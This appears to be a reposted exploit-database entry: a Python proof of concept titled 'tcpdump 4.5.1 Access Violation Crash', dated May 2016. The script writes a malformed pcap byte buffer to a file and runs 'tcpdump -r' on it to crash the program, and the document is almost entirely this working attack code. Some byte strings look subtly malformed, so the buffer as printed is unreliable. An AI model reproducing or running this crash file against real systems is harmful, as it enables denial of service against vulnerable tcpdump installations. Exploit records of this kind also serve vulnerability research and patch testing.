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TCPDump 4.5.1 - Crash PoC
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来源：Xino.co.uk 作者：Silveiro 发布时间：2016-06-01
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# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()
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